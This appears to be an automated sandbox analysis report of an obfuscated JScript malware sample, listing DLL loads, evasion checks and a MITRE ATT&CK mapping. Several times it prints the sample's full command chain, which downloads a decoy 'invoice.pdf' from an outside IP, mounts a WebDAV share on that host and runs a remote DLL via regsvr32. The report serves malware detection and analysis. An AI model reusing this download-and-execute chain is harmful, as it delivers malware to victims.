Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\206.js.csv");ITextStream.WriteLine(" entry:8108 f:nypwkkffh");ITextStream.WriteLine(" exec:2 f:nypwkkffh");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49767

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5758			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4047			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep count: 5758 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep count: 4047 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7948	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8128	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7888	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2651373510.00000279E242B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1437786098.00000284FBB2B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437595011.00000284FBAC8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2652440179.00000279E785A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
